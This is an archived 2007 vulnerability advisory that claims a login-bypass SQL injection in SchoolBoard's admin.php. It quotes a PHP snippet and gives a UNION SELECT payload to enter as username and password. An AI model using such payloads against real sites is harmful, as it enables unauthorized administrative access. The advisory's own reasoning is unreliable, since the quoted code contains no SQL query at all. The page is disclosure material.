Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  [Full-disclosure] CMS Made Simple: SQL injection

  Disable website access for sites running Webspeed

  Post Nuke v4bJournal Module Sql Inject

  12All File Upload Vulnerability

From:ilkerKandemir_(at)_mynet.com <ilkerKandemir_(at)_mynet.com>
Date:03.05.2007
Subject:SchoolBoard (admin.php) Remote Login Bypass SQL Injection Vulnerability

# Remote Login Bypass SQL Injection Vulnerability (admin.php)

#

# AYYILDIZ.ORG Presents.

# SchoolBoard [ http://free-php-scripts.net/download.php?id=120 ]

# author : iLker Kandemir    < ilkerkandemir <at> mynet.com >

# Tnx : h0tturk,ekin0x,Dr.Max Virus,Gencnesil,Gencturk,Ajann

# Vulnerable; /admin.php

-------------------------------------------------//If login in
if($_POST['password'] != NULL){    <<<---------------------[+] //do all this:
     
if($_POST['password'] == $ADMIN_PASS){
 $_SESSION['is_admin'] = $ADMIN_PASS;
} else {
 $message = 'Invalid Access';
}
}

//Check password
if($_SESSION['is_admin'] != $ADMIN_PASS){$_GET['page'] = 'login';}

if($_GET['page'] == NULL){$_GET['page'] = $_POST['page'];}

if($_GET['page'] != 'Add' && $_GET['page'] != 'login'){  <<<-------------------[+]  // but the user/pass don't match

-------------------------------------------------


username : 1/**/union/**/select/**/1,2,3,4/*
password : 1/**/union/**/select/**/1,2,3,4/*   (ADMIN_PASS)

Panel: /admin.php logged.

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server